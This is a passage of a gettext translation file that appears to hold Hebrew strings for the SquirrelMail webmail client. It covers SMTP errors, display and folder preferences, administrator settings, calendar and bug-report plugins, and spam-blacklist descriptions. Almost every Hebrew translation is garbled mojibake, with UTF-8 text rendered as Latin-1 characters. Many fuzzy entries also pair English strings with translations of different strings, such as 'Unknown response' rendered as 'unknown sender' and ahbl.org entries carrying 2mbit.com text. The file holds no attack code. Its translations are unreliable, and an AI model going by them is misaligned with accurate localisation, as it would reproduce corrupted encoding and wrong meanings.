msgstr ""

#, fuzzy
msgid "Temporary authentication failure"
msgstr "×ימות apop נכשל"

msgid "Syntax error; command not recognized"
msgstr ""

msgid "Syntax error in parameters or arguments"
msgstr ""

#, fuzzy
msgid "Command not implemented"
msgstr "פקודה נכשלה "

msgid "Bad sequence of commands"
msgstr ""

msgid "Command parameter not implemented"
msgstr ""

#, fuzzy
msgid "Authentication required"
msgstr "×ימות נכשל"

msgid "Authentication mechanism is too weak"
msgstr ""

#, fuzzy
msgid "Authentication failed"
msgstr "×ימות נכשל"

msgid "Encryption required for requested authentication mechanism"
msgstr ""

msgid "Requested action not taken: mailbox unavailable"
msgstr ""

msgid "User not local; please try forwarding"
msgstr ""

msgid "Requested mail action aborted: exceeding storage allocation"
msgstr ""

msgid "Requested action not taken: mailbox name not allowed"
msgstr ""

#, fuzzy
msgid "Transaction failed"
msgstr "×ימות נכשל"

#, fuzzy
msgid "Unknown response"
msgstr "שולח ×œ× ×™×“×•×¢"

msgid "General Display Options"
msgstr "הגדרות תצוגה - כללי"

msgid "Theme"
msgstr "נוש×"

msgid "Default"
msgstr "ברירת מחדל"

msgid "Custom Stylesheet"
msgstr "סגנון מות×× ×ישית"

msgid "Language"
msgstr "שפה"

msgid "Use Javascript"
msgstr "השתמש ב-JavaScript"

msgid "Autodetect"
msgstr "זיהוי ×וטומטי"

msgid "Always"
msgstr "תמיד"

msgid "Never"
msgstr "××£-פע×"

msgid "Mailbox Display Options"
msgstr "הגדרות תצוגה - תיבת דו×ר"

#, fuzzy
msgid "Number of Messages per Page"
msgstr "מספר ההודעות לדף"

msgid "Enable Alternating Row Colors"
msgstr "×פשר צבעי שורה מתחלפי×"

msgid "Enable Page Selector"
msgstr "×פשר בוחר דפי×"

msgid "Maximum Number of Pages to Show"
msgstr "מספר ×”×“×¤×™× ×œ×ª×¦×•×’×”"

msgid "Always Show Full Date"
msgstr ""

msgid "Message Display and Composition"
msgstr "הגדרות תצוגה - הודעה וכתיבה"

msgid "Wrap Incoming Text At"
msgstr "גלישת טקסט ב"

#, fuzzy
msgid "Width of Editor Window"
msgstr "גודל תיבת עריכה"

#, fuzzy
msgid "Height of Editor Window"
msgstr "גודל תיבת עריכה"

msgid "Location of Buttons when Composing"
msgstr "×ž×™×§×•× ×”×›×¤×ª×•×¨×™× ×›×שר ×¢×•×¨×›×™× ×”×•×“×¢×•×ª"

msgid "Before headers"
msgstr "לפני כותרות"

msgid "Between headers and message body"
msgstr "בין הכותרות וגוף ההודעה"

msgid "After message body"
msgstr "מתחת לגוף ההודעה"

msgid "Addressbook Display Format"
msgstr "תבנית תצוגה של ספר כתובות"

msgid "Javascript"
msgstr ""

msgid "HTML"
msgstr ""

msgid "Show HTML Version by Default"
msgstr "הצג גירס×ת HTML כברירת מחדל"

msgid "Enable Forward as Attachment"
msgstr ""

#, fuzzy
msgid "Include CCs when Forwarding Messages"
msgstr "כלול ×”×¢×ª×§×™× ×›×שר ×× ×™ מפיץ הודעה"

msgid "Include Me in CC when I Reply All"
msgstr "כלול ×ותי ×‘×”×¢×ª×§×™× ×›×שר ×× ×™ משיב לכול×"

msgid "Enable Mailer Display"
msgstr "×פשר תצוגת תכנית דיוור"

msgid "Display Attached Images with Message"
msgstr "הצג תמונות מצורפות ×¢× ×”×”×•×“×¢×”"

msgid "Enable Printer Friendly Clean Display"
msgstr "×פשר תצוגה × ×§×™×” של גירס×ת הדפסה"

#, fuzzy
msgid "Enable Mail Delivery Notification"
msgstr "×פשר הודעה על הודעות חדשות"

#, fuzzy
msgid "Compose Messages in New Window"
msgstr "תמיד ערוך הודעה בחלון חדש"

#, fuzzy
msgid "Width of Compose Window"
msgstr "רוחב חלון עריכה"

#, fuzzy
msgid "Height of Compose Window"
msgstr "גובה חלון עריכה"

#, fuzzy
msgid "Append Signature before Reply/Forward Text"
msgstr "הדבק חתימה לפני טקסט התשובה\\הפצה"

msgid "Prefix for Original Message when Replying"
msgstr ""

msgid "Cursor Position when Replying"
msgstr ""

msgid "To: field"
msgstr ""

msgid "Focus in body"
msgstr ""

#, fuzzy
msgid "Select body"
msgstr "בחר תיקיה"

#, fuzzy
msgid "No focus"
msgstr "×œ×œ× ×©×¢×•×Ÿ"

msgid "Sort by Received Date"
msgstr ""

msgid "Enable Thread Sort by References Header"
msgstr ""

msgid "Special Folder Options"
msgstr "×פשרויות תיקיות מיוחדות"

msgid "Folder Path"
msgstr "×ž×™×§×•× ×ª×™×§×™×”"

msgid "Do not use Trash"
msgstr "×ל תשתמש בסל מיחזור"

msgid "Trash Folder"
msgstr "סל מיחזור"

msgid "Do not use Drafts"
msgstr "×ל תשתמש בטיוטה"

msgid "Draft Folder"
msgstr "תיקית טיוטות"

msgid "Do not use Sent"
msgstr "×ל תשתמש בדו×ר יוצ×"

msgid "Sent Folder"
msgstr "תיקית דו×ר יוצ×"

msgid "Folder List Options"
msgstr "×פשרויות רשימת תיקיות"

msgid "Location of Folder List"
msgstr "×ž×™×§×•× ×¨×©×™×ž×ª תיקיות:"

msgid "Left"
msgstr "שמ×ל"

msgid "Right"
msgstr "ימין"

msgid "pixels"
msgstr "פיקסלי×"

msgid "Width of Folder List"
msgstr "רוחב רשימת תיקיות"

msgid "Minutes"
msgstr "דקות"

msgid "Seconds"
msgstr "שניות"

msgid "Minute"
msgstr "דקה"

msgid "Auto Refresh Folder List"
msgstr "רענן ×וטומטית ×ת רשימת התיקיות"

msgid "Enable Unread Message Notification"
msgstr "×פשר הודעה על הודעות חדשות"

msgid "No Notification"
msgstr "×œ×œ× ×”×•×“×¢×”"

msgid "Only INBOX"
msgstr "רק בדו×ר נכנס"

msgid "Unread Message Notification Type"
msgstr "סוג הודעה על הודעה חדשה"

msgid "Only Unseen"
msgstr "רק ×œ× × ×¨××”"

msgid "Unseen and Total"
msgstr "×œ× × ×¨××” וסה\"×›"

msgid "Enable Collapsable Folders"
msgstr "×פשר תיקיות מתקפלות"

#, fuzzy
msgid "Enable Cumulative Unread Message Notification"
msgstr "×פשר הודעה על הודעות חדשות"

msgid "Show Clock on Folders Panel"
msgstr "הצג שעון ברשימת תיקיות"

#, fuzzy
msgid "International date and time"
msgstr "הוסף ×ž×™×œ×•× ×™× ×‘×™× ×œ×ומיי×"

msgid "American date and time"
msgstr ""

#, fuzzy
msgid "European date and time"
msgstr "ספרדית (×ירופה)"

msgid "Show weekday and time"
msgstr ""

msgid "Show time with seconds"
msgstr ""

#, fuzzy
msgid "Show time"
msgstr "זמן התחלה:"

msgid "No Clock"
msgstr "×œ×œ× ×©×¢×•×Ÿ"

msgid "Hour Format"
msgstr "סגנון שעות"

msgid "12-hour clock"
msgstr "12 שעות"

msgid "24-hour clock"
msgstr "24 שעות"

msgid "Memory Search"
msgstr "חיפוש בזכרון"

msgid "Disabled"
msgstr "מבוטל"

#, fuzzy
msgid "Folder Selection Options"
msgstr "×פשרויות רשימת תיקיות"

#, fuzzy
msgid "Selection List Style"
msgstr "סגנון ציטוט משוב"

#, fuzzy
msgid "Long:"
msgstr "×ורך:"

#, fuzzy
msgid "Folder"
msgstr "תיקיות"

#, fuzzy
msgid "Subfolder"
msgstr "השתמש בתתי-תיקיות תחת דו×ר יוצ×"

msgid "Indented:"
msgstr ""

#, fuzzy
msgid "Delimited:"
msgstr "מחק"

msgid "Name and Address Options"
msgstr "×פשרויות ×©× ×•×›×ª×•×‘×ª"

msgid "Email Address"
msgstr "כתובת דו×\"ל"

msgid "Edit Advanced Identities"
msgstr "ערוך זהויות מרובות"

msgid "(discards changes made on this form so far)"
msgstr "(מבטל ×©×™× ×•×™×™× ×©× ×¢×©×• על הטופס עד ×›×”)"

msgid "Multiple Identities"
msgstr "זהויות מרובות"

msgid "Same as server"
msgstr "×ותו דבר כמו שרת"

msgid "Error opening timezone config, contact administrator."
msgstr ""

msgid "Timezone Options"
msgstr "×פשרויות ×זור זמן"

msgid "Your current timezone"
msgstr "×זור זמן נוכחי"

msgid "Reply Citation Options"
msgstr "×פשרויות ציטוט משוב"

msgid "Reply Citation Style"
msgstr "סגנון ציטוט משוב"

msgid "No Citation"
msgstr "×œ×œ× ×¦×™×˜×•×˜"

#, fuzzy
msgid "AUTHOR Wrote"
msgstr "המחבר ×מר"

msgid "On DATE, AUTHOR Wrote"
msgstr ""

msgid "Quote Who XML"
msgstr ""

msgid "User-Defined"
msgstr "מות×× ×ישית"

msgid "User-Defined Citation Start"
msgstr "התחלת ציטוט מות×× ×ישית"

msgid "User-Defined Citation End"
msgstr "×¡×™×•× ×¦×™×˜×•×˜ מות×× ×ישית"

msgid "Signature Options"
msgstr "×פשרויות חתימה"

msgid "Use Signature"
msgstr "השתמש בחתימה"

msgid "Prefix Signature with '-- ' Line"
msgstr "×”×§×“× ×—×ª×™×ž×” בשורה של '-- '"

msgid "Take Address"
msgstr "הוסף כתובת"

#, fuzzy
msgid "Address Book Take:"
msgstr "הוסף לספר כתובות"

msgid "Try to verify addresses"
msgstr "נסה ×œ×•×•×“× ×›×ª×•×‘×ª דו×\"ל"

msgid "Config File Version"
msgstr "גירס×ת קובץ הגדרות"

#, fuzzy
msgid "SquirrelMail Version"
msgstr "SquirrelMail גירס×"

msgid "PHP Version"
msgstr "PHP גירס×"

msgid "Organization Preferences"
msgstr "הגדרות חברה"

msgid "Organization Name"
msgstr "×©× ×—×‘×¨×”"

msgid "Organization Logo"
msgstr "לוגו חברה"

msgid "Organization Logo Width"
msgstr "רוחב לוגו חברה"

msgid "Organization Logo Height"
msgstr "×ורך לוגו חברה"

msgid "Organization Title"
msgstr "כותרת חברה"

msgid "Signout Page"
msgstr "דף התנתקות"

msgid "Provider Link URI"
msgstr ""

#, fuzzy
msgid "Provider Name"
msgstr "×©× ×©×¨×ª:"

msgid "Top Frame"
msgstr "חלק עליון"

msgid "Server Settings"
msgstr "הגדרות שרת"

msgid "Mail Domain"
msgstr "דומיין דו×ר"

msgid "IMAP Server Address"
msgstr "כתובת שרת IMAP"

msgid "IMAP Server Port"
msgstr "יצי×ת שרת IMAP"

msgid "IMAP Server Type"
msgstr "סוג שרת IMAP"

msgid "Cyrus IMAP server"
msgstr ""

msgid "University of Washington's IMAP server"
msgstr ""

msgid "Microsoft Exchange IMAP server"
msgstr ""

msgid "Courier IMAP server"
msgstr ""

msgid "Mac OS X Mailserver"
msgstr ""

#, fuzzy
msgid "hMailServer IMAP server"
msgstr "פותח שרת IMAP"

msgid "Not one of the above servers"
msgstr ""

msgid "IMAP Folder Delimiter"
msgstr ""

#, fuzzy
msgid "Use &quot;detect&quot; to auto-detect."
msgstr "השתמש ב \"detect\" לזיהוי ×וטומטי"

msgid "Use TLS for IMAP Connections"
msgstr ""

msgid "Requires PHP 4.3.x! Experimental."
msgstr ""

#, fuzzy
msgid "IMAP Authentication Type"
msgstr "×ימות נכשל"

msgid "IMAP login"
msgstr ""

#, fuzzy
msgid "Use Sendmail Binary"
msgstr "השתמש ב-SendMail"

msgid "Choose &quot;no&quot; for SMTP"
msgstr ""

msgid "Sendmail Path"
msgstr "נתיב SendMail"

msgid "SMTP Server Address"
msgstr "כתובת שרת SMTP"

msgid "SMTP Server Port"
msgstr "יצי×ת שרת SMTP"

msgid "Use TLS for SMTP Connections"
msgstr ""

#, fuzzy
msgid "SMTP Authentication Type"
msgstr "×ימות נכשל"

msgid "No SMTP auth"
msgstr ""

msgid "Login (plain text)"
msgstr ""

msgid "POP3 Before SMTP?"
msgstr ""

msgid "Invert Time"
msgstr "הפוך זמן"

msgid "Folders Defaults"
msgstr "ברירת מחדל של תיקיות"

msgid "Default Folder Prefix"
msgstr ""

msgid "Show Folder Prefix Option"
msgstr ""

msgid "By default, move to trash"
msgstr ""

msgid "By default, move to sent"
msgstr ""

msgid "By default, save as draft"
msgstr ""

msgid "List Special Folders First"
msgstr ""

msgid "Show Special Folders Color"
msgstr ""

msgid "Auto Expunge"
msgstr ""

msgid "Default Sub. of INBOX"
msgstr ""

msgid "Show 'Contain Sub.' Option"
msgstr ""

msgid "Default Unseen Notify"
msgstr ""

msgid "Default Unseen Type"
msgstr ""

msgid "Auto Create Special Folders"
msgstr ""

msgid "Auto delete folders"
msgstr ""

#, fuzzy
msgid "Enable /NoSelect folder fix"
msgstr "×פשר בוחר דפי×"

msgid "General Options"
msgstr ""

msgid "Data Directory"
msgstr ""

msgid "Temp Directory"
msgstr ""

msgid "Hash Level"
msgstr ""

msgid "Hash Disabled"
msgstr ""

msgid "Moderate"
msgstr ""

msgid "Medium"
msgstr ""

msgid "Default Left Size"
msgstr ""

msgid "Usernames in Lowercase"
msgstr ""

msgid "Allow use of priority"
msgstr ""

msgid "Hide SM attributions"
msgstr ""

msgid "Enable use of delivery receipts"
msgstr ""

msgid "Allow editing of identities"
msgstr ""

msgid "Allow editing of full name"
msgstr ""

msgid "Use server-side sorting"
msgstr ""

#, fuzzy
msgid "Use server-side thread sorting"
msgstr "השתמש בכותרות הערה למיון"

msgid "Allow server charset search"
msgstr ""

msgid "UID support"
msgstr ""

#, fuzzy
msgid "PHP session name"
msgstr "PHP גירס×"

msgid "Message of the Day"
msgstr ""

msgid "Database"
msgstr ""

msgid "Address book DSN"
msgstr ""

msgid "Address book table"
msgstr ""

msgid "Preferences DSN"
msgstr ""

msgid "Preferences table"
msgstr ""

msgid "Preferences username field"
msgstr ""

msgid "Preferences key field"
msgstr ""

msgid "Preferences value field"
msgstr ""

#, fuzzy
msgid "Global address book DSN"
msgstr "ספר כתובות כללי"

#, fuzzy
msgid "Global address book table"
msgstr "ספר כתובות כללי"

#, fuzzy
msgid "Allow writing into global address book"
msgstr "×œ× ×™×›×•×œ לעדכן ספר כתובות כללי"

#, fuzzy
msgid "Allow listing of global address book"
msgstr "×œ× ×™×›×•×œ לעדכן ספר כתובות כללי"

#, fuzzy
msgid "Language settings"
msgstr "שנה הגדרות הצפנה"

msgid "Default Language"
msgstr "שפה ברירת מחדל"

msgid "Default Charset"
msgstr ""

msgid "Enable lossy encoding"
msgstr ""

#, fuzzy
msgid "Address Books"
msgstr "ספר כתובות"

msgid "Default Javascript Addressbook"
msgstr ""

#, fuzzy
msgid "Global address book file"
msgstr "ספר כתובות כללי"

#, fuzzy
msgid "Allow writing into global address book file"
msgstr "כתיבה לספר כתובות נכשלה"

msgid "Themes"
msgstr ""

msgid "Style Sheet URL (css)"
msgstr ""

#, fuzzy
msgid "Default theme"
msgstr "ברירת מחדל"

msgid "Use index number of theme"
msgstr ""

msgid "Configuration Administrator"
msgstr ""

msgid ""
"Note: it is recommended that you configure your system using conf.pl, and "
"not this plugin. conf.pl contains additional information regarding the "
"purpose of variables and appropriate values, as well as additional "
"verification steps."
msgstr ""

msgid ""
"Run or consult conf.pl should you run into difficulty with your "
"configuration."
msgstr ""

msgid "Theme Name"
msgstr ""

msgid "Theme Path"
msgstr ""

msgid "Plugins"
msgstr ""

#, php-format
msgid "Plugin directory could not be found: %s"
msgstr ""

msgid "Change Settings"
msgstr ""

msgid "Test Configuration"
msgstr ""

msgid "Config file can't be opened. Please check config.php."
msgstr ""

msgid "Administration"
msgstr ""

msgid ""
"This module allows administrators to manage SquirrelMail main configuration "
"remotely."
msgstr ""

#, fuzzy
msgid "Submit a Bug Report"
msgstr "דיווח על ב××’×™×:"

msgid ""
"Before you send your bug report, please make sure to check this checklist "
"for any common problems."
msgstr ""

#, php-format
msgid ""
"Make sure that you are running the most recent copy of %s. You are currently "
"using version %s."
msgstr ""

#, php-format
msgid ""
"Check to see if your bug is already listed in the %sBug List%s on "
"SourceForge. If it is, we already know about it and are trying to fix it."
msgstr ""

msgid ""
"Try to make sure that you can repeat it. If the bug happens sporatically, "
"try to document what you did when it happened. If it always occurs when you "
"view a specific message, keep that message around so maybe we can see it."
msgstr ""

#, php-format
msgid ""
"If there were warnings displayed above, try to resolve them yourself. Read "
"the guides in the %s directory where SquirrelMail was installed."
msgstr ""

msgid ""
"Pressing the button below will start a mail message to the developers of "
"SquirrelMail that will contain a lot of information about your system, your "
"browser, how SquirrelMail is set up, and your IMAP server. It will also "
"prompt you for information. Just fill out the sections at the top. If you "
"like, you can scroll down in the message to see what else is being sent."
msgstr ""

msgid ""
"Please make sure to fill out as much information as you possibly can to give "
"everyone a good chance of finding and removing the bug. Submitting your bug "
"like this will not have it automatically added to the bug list on "
"SourceForge, but someone who gets your message may add it for you."
msgstr ""

msgid "This bug involves"
msgstr ""

msgid "the general program"
msgstr ""

msgid "a specific plugin"
msgstr ""

#, fuzzy
msgid "Start Bug Report Form"
msgstr "דיווח על ב××’×™×:"

msgid "Bug"
msgstr ""

msgid "Bug Reports:"
msgstr "דיווח על ב××’×™×:"

msgid "Show button in toolbar"
msgstr "הצג כפתור בסרגל כלי×"

msgid "TODAY"
msgstr "היו×"

msgid "Go"
msgstr "לך"

#, fuzzy, php-format
msgid "Could not write calendar file %s"
msgstr "×œ× ×™×›×•×œ ליצור קובץ הגדרות ר×שוני!"

#, fuzzy
msgid "l, F j Y"
msgstr "l, j F, Y G:i"

msgid "ADD"
msgstr "הוסף"

msgid "EDIT"
msgstr "ערוך"

msgid "DEL"
msgstr "מחק"

msgid "Start time:"
msgstr "זמן התחלה:"

msgid "Length:"
msgstr "×ורך:"

msgid "Priority:"
msgstr "עדיפות:"

msgid "Title:"
msgstr "כותרת:"

msgid "Set Event"
msgstr "צור ×רוע"

msgid "Event Has been added!"
msgstr "×רוע הוסף!"

msgid "Date:"
msgstr "ת×ריך:"

msgid "Time:"
msgstr "זמן:"

msgid "Day View"
msgstr "תצוגת יו×"

msgid "Do you really want to delete this event?"
msgstr "×”×× ×‘×¨×¦×•× ×š למחוק ×רוע ×–×”?"

msgid "Event deleted!"
msgstr "×רוע נמחק!"

msgid "Nothing to delete!"
msgstr "×ין מה למחוק!"

msgid "Update Event"
msgstr "עדכן ×רוע"

msgid "Do you really want to change this event from:"
msgstr "×”×× ×‘×¨×¦×•× ×š לשנות ×רוע ×–×” מ:"

msgid "to:"
msgstr "ל:"

msgid "Event updated!"
msgstr "×רוע עודכן!"

msgid "Month View"
msgstr "תצוגה חודשית"

msgid "0 min."
msgstr "0 דקות"

msgid "15 min."
msgstr "15 דקות"

#, fuzzy
msgid "30 min."
msgstr "0 דקות"

msgid "45 min."
msgstr "45 דקות"

msgid "1 hr."
msgstr "שעה"

msgid "1.5 hr."
msgstr "שעה וחצי"

msgid "2 hr."
msgstr "שעתיי×"

msgid "2.5 hr."
msgstr "×©×¢×ª×™×™× ×•×—×¦×™"

msgid "3 hr."
msgstr "3 שעות"

msgid "3.5 hr."
msgstr "3 וחצי שעות"

msgid "4 hr."
msgstr "4 שעות"

msgid "5 hr."
msgstr "5 שעות"

msgid "6 hr."
msgstr "6 שעות"

msgid "Calendar"
msgstr "לוח שנה"

msgid "Delete & Prev"
msgstr "מחק והקוד×"

msgid "Delete & Next"
msgstr "מחק והב×"

msgid "Move to:"
msgstr "העבר ×ל:"

msgid "Delete/Move/Next Buttons:"
msgstr "כפתורי מחק/העבר/הב×:"

msgid "Display at top"
msgstr "הצג למעלה"

msgid "with move option"
msgstr "×¢× ×פשרויות העברה"

msgid "Display at bottom"
msgstr "הצג בתחתית"

msgid ""
"COMMERCIAL - This list contains servers that are verified spam senders. It "
"is a pretty reliable list to scan spam from."
msgstr ""
"מסחרי - רשימה זו מכילה ×©×¨×ª×™× ×”×™×“×•×¢×™× ×›×©×•×œ×—×™ דו×ר זבל. זוהי רשימה מהימנה "
"לבדיקת דו×ר זבל."

#, fuzzy
msgid ""
"COMMERCIAL - Servers that are configured (or misconfigured) to allow spam to "
"be relayed through their system will be banned with this. Another good one "
"to use."
msgstr ""
"מסחרי - ×©×¨×ª×™× ×שר ×ž×•×’×“×¨×™× (×ו ×ž×•×’×“×¨×™× ×œ× × ×›×•×Ÿ), ומ××¤×©×¨×™× ×‘×›×š שליחת דו×ר זבל "
"דרכ×."

#, fuzzy
msgid ""
"COMMERCIAL - Dial-up users are often filtered out since they should use "
"their ISP's mail servers to send mail. Spammers typically get a dial-up "
"account and send spam directly from there."
msgstr ""
"מסחרי - ×œ×¢×™×ª×™× ×§×¨×•×‘×•×ª ×ž×¡× × ×™× ×”×—×•×¦×” משתמשי חיוג מכיוון ×©×”× ×ž×©×ª×ž×©×™× ×‘×©×¨×ª×™ "
"הדו×ר של שרת ×”×ינטרנט שלה×."

msgid "COMMERCIAL - RBL+ Blackhole entries."
msgstr "מסחרי - רשומות של RBL ו-Blackhole."

msgid "COMMERCIAL - RBL+ OpenRelay entries."
msgstr "מסחרי - רשומות של RBL ו-OpenRelay."

msgid "COMMERCIAL - RBL+ Dial-up entries."
msgstr "מסחרי - רשומות של RBL ושרתי חיוג."

msgid ""
"FREE - ORDB was born when ORBS went off the air. It seems to have fewer "
"false positives than ORBS did though."
msgstr ""
"×—×™× × - ORDB נולדה ×›×שר ORBS ירדה מה×וויר. בכל-×–×ת נר××” שיש ×œ×”× ×™×•×ª×¨ טעויות."

msgid "FREE - Five-Ten-sg.com - Direct SPAM sources."
msgstr "×—×™× × - Five-Ten-sg.com - מקורות SPAM ישירי×."

msgid "FREE - Five-Ten-sg.com - Dial-up lists - includes some DSL IPs."
msgstr "×—×™× × - Five-Ten-sg.com - רשימות חיוג - כולל כמה IP×™× ×©×œ DSL."

msgid "FREE - Five-Ten-sg.com - Bulk mailers that do not use confirmed opt-in."
msgstr ""
"×—×™× × - Five-Ten-sg.com - רשימה של שולחי דו×ר בכמויות ×שר ××™× × ×ž×©×ª×ž×©×™× ×‘×‘×§×©×ª "
"×ישור."

msgid "FREE - Five-Ten-sg.com - Other misc. servers."
msgstr "×—×™× × - Five-Ten-sg.com - ×©×¨×ª×™× ×חרי×."

msgid "FREE - Five-Ten-sg.com - Single Stage servers."
msgstr "×—×™× × - Five-Ten-sg.com - שרתי רמה ×חת (Single Stage)."

msgid "FREE - Five-Ten-sg.com - SPAM Support servers."
msgstr "×—×™× × - Five-Ten-sg.com - ×©×¨×ª×™× ×שר ×ª×•×ž×›×™× ×‘-SPAM."

msgid "FREE - Five-Ten-sg.com - Web Form IPs."
msgstr "×—×™× × - Five-Ten-sg.com - IP×™× ×©×œ טפסי Web."

msgid ""
"FREE - Dorkslayers appears to include only really bad open relays outside "
"the US to avoid being sued. Interestingly enough, their website recommends "
"you NOT use their service."
msgstr ""
"×—×™× × - נר××” ,שבכדי למנוע תביעות, דורקסליירס ×›×•×œ×œ×™× ×¨×§ ×©×¨×ª×™× ×שר ×™×•×©×‘×™× ×ž×—×•×¥ "
"ל×רה\"ב ×•×ž×©×ž×©×™× ×›×ª×—× ×ª ממסר פתוחה. למרבה הפל×, ×”×תר ×©×œ×”× ×ž×ž×œ×™×¥ ×œ× ×œ×”×ª×©×ž×© "
"בשירות שלה×."

msgid "FREE - SPAMhaus - A list of well-known SPAM sources."
msgstr "×—×™× × - SPAMhaus - רשימה של מקורות ×™×“×•×¢×™× ×©×œ SPAM."

#, fuzzy
msgid ""
"FREE, for now - SpamCop - An interesting solution that lists servers that "
"have a very high spam to legit email ratio (85 percent or more)."
msgstr ""
"×—×™× ×, ×‘×™× ×ª×™×™× - SPAMCOP - פתרון מעניין של רשימות ×©×¨×ª×™× ×©×™×© ×œ×”× ×™×—×¡ גבוה בין "
"דו×ר ×œ× ×—×•×§×™ (SPAM) לדו×ר חוקי (85% ×ו יותר)."

msgid "FREE - dev.null.dk - I don't have any detailed info on this list."
msgstr "×—×™× × - dev.null.dk - ×ין מידע על השירות ×”×–×”."

msgid "FREE - visi.com - Relay Stop List. Very conservative OpenRelay List."
msgstr ""
"×—×™× × - visi.com - רשימת עצירת ממסר. רשימה מ×וד שמרנית של ×©×¨×ª×™× ×”×ž×©×ž×©×™× "
"כתחנות ממסר פתוחות."

#, fuzzy
msgid "FREE - ahbl.org Open Relays - Another list of Open Relays."
msgstr ""
"×—×™× × - 2mbit.com תחנות ממסר פתוחות - עוד רשימה של ×©×¨×ª×™× ×”×ž×©×ž×©×™× ×›×ª×—× ×•×ª ממסר "
"פתוחות."

#, fuzzy
msgid "FREE - ahbl.org SPAM Source - List of Direct SPAM Sources."
msgstr "×—×™× × - 2mbit.com מקורות SPAM - רשימה של מקורות SPAM ישירי×."

#, fuzzy
msgid "FREE - ahbl.org SPAM ISPs - List of SPAM-friendly ISPs."
msgstr ""
"×—×™× × - 2mbit.com ספקי שרותי ×ינטרנט - רשימה של ספקי ×ינטרנט ×שר מ××©×¨×™× SPAM."

msgid ""
"FREE - Leadmon DUL - Another list of Dial-up or otherwise dynamically "
"assigned IPs."
msgstr ""
"×—×™× × - Leadmon DUL - עוד רשימה של חיוג ×ו ב×ופן ×חר IP×™× ×”×ž×•×§× ×™× ×‘×ופן דינמי."

msgid ""
"FREE - Leadmon SPAM Source - List of IPs Leadmon.net has received SPAM "
"directly from."
msgstr ""
"×—×™× × - Leadmon SPAM Source - רשימה של IP×™× ×שר Leadmon.net קיבלו SPAM ישירות "
"מה×."

msgid ""
"FREE - Leadmon Bulk Mailers - Bulk mailers that do not require confirmed opt-"
"in or that have allowed known spammers to become clients and abuse their "
"services."
msgstr "×—×™× × - Leadmon Bulk Mailers - "

msgid ""
"FREE - Leadmon Open Relays - Single Stage Open Relays that are not listed on "
"other active RBLs."
msgstr ""
"×—×™× × - Leadmon Open Relays - תחנות ממסר פתוחות בעלות שלב ×חד, ×שר ×ינן "
"רשומות ×צל RBL×™× ×¤×¢×™×œ×™× ×חרי×."

msgid ""
"FREE - Leadmon Multi-stage - Multi-Stage Open Relays that are not listed on "
"other active RBLs and that have sent SPAM to Leadmon.net."
msgstr ""
"×—×™× × - Leadmon Multi-stage - תחנות ממסר פתוחות מרובות שלבי×, ×שר ×ינן רשומות "
"×צל RBL×™× ×חרי×, ושלחו SPAM ל-Leadmon.net."

msgid ""
"FREE - Leadmon SpamBlock - Sites on this listing have sent Leadmon.net "
"direct SPAM from IPs in netblocks where the entire block has no DNS "
"mappings. It's a list of BLOCKS of IPs being used by people who have SPAMmed "
"Leadmon.net."
msgstr ""
"×—×™× × - Leadmon SpamBlock - ××ª×¨×™× ×‘×¨×©×™×ž×” זו שלחו SPAM ישירות ×ל Leadmon.net מ-"
"IP×™× ×‘×§×‘×•×¦×•×ª רשת, ×›×שר לכל הקבוצה ×ין מיפוי DNS. ×–×•×”×™× ×¨×©×™×ž×” של קבוצות של "
"IP×™× ×שר נמצ××™× ×‘×©×™×ž×•×© ×¢\"×™ ×× ×©×™× ×שר שלחו SPAM ×ל Leadmon.net."

msgid ""
"FREE, for now - Not Just Another Blacklist - Both Open Relays and Direct "
"SPAM Sources."
msgstr ""
"×—×™× ×, לעת עתה - ×œ× ×¢×•×“ רשימה שחורה - ×’× ×ª×—× ×•×ª ממסר פתוחות ×•×’× ×ž×§×•×¨×•×ª ×™×©×™×¨×™× "
"של SPAM."

msgid "FREE, for now - Not Just Another Blacklist - Dial-up IPs."
msgstr "×—×™× ×, לעת עתה - ×œ× ×¢×•×“ רשימה שחורה - IP×™× ×©×œ חיוג."

msgid "FREE - Distributed Sender Boycott List - Confirmed Relays"
msgstr ""

msgid "FREE - Distributed Sender Boycott List - Confirmed Multi-stage Relays"
msgstr ""

msgid "FREE - Distributed Sender Boycott List - UN-Confirmed Relays"
msgstr ""

msgid "WARNING! You must enter something to search for."
msgstr ""

msgid ""
"WARNING! Header filters should be of the format &quot;Header: value&quot;"
msgstr ""

msgid "Saved Scan type"
msgstr "סוג סריקה שמורה"

msgid "Message Filtering"
msgstr "מיון הודעות"

msgid "What to Scan:"
msgstr "סרוק ×ת:"

msgid "All messages"
msgstr "כל ההודעות"

msgid "Only unread messages"
msgstr "רק הודעות חדשות"

msgid "Save"
msgstr "שמור"

msgid "Match:"
msgstr "לפי שדה:"

msgid "Header"
msgstr "כותרות"

msgid "Contains:"
msgstr "מכיל:"

#, fuzzy, php-format
msgid "If %s contains %s then move to %s"
msgstr "×× <b>%s</b> מכיל <b>%s</b> ××– תעביר ×ת ההודעה ל-<b>%s</b>"

msgid "Message Filters"
msgstr "מיון הודעות"

msgid ""
"Filtering enables messages with different criteria to be automatically "
"filtered into different folders for easier organization."
msgstr ""
"בעזרת מיון הודעות ניתן להעביר הודעות ×וטומטית לתוך תיקיות מסויימות, לפי "
"×§×¨×™×˜×¨×™×•× ×™× ×”×ž×¦×•×™×™× ×™× ×ž×¨×ש."

msgid "SPAM Filters"
msgstr "מסנני דו×ר זבל (SPAM)"

msgid ""
"SPAM filters allow you to select from various DNS based blacklists to detect "
"junk email in your INBOX and move it to another folder (like Trash)."
msgstr "בעזרת מסנני דו×ר ביכולתך ×œ×—×¡×•× ×©×¨×ª×™× ×שר ×™×“×•×¢×™× ×›×©×•×œ×—×™ דו×ר זבל."

#, fuzzy
msgid "You must select a spam folder."
msgstr "בחר תיקיה"

#, fuzzy
msgid "You must select a scan type."
msgstr "עלייך לבחור ×חת מה×פשרויות"

msgid "Spam Filtering"
msgstr "סינון דו×ר זבל (SPAM)"

#, fuzzy, php-format
msgid "WARNING! Tell the administrator to set the %s variable."
msgstr "×זהרה! תגיד למנהל המערכת להגדיר ×ת המשתנה SpamFilters_YourHop"

msgid "Move spam to:"
msgstr "העבר דו×ר זבל ל:"

msgid ""
"Moving spam directly to the trash may not be a good idea at first, since "
"messages from friends and mailing lists might accidentally be marked as "
"spam. Whatever folder you set this to, make sure that it gets cleaned out "
"periodically, so that you don't have an excessively large mailbox hanging "
"around."
msgstr ""
"×œ× ×ž×•×ž×œ×¥ להעביר דו×ר זבל ישירות לסל המיחזור, בגלל ×©×”×•×“×¢×•×ª×ž×—×‘×¨×™× ×•×¨×©×™×ž×•×ª "
"תפוצה יכולות בטעות להיות מסומנות כדו×ר זבל. × × ×œ×“×וג להעביר ×ת דו×ר הזבל "
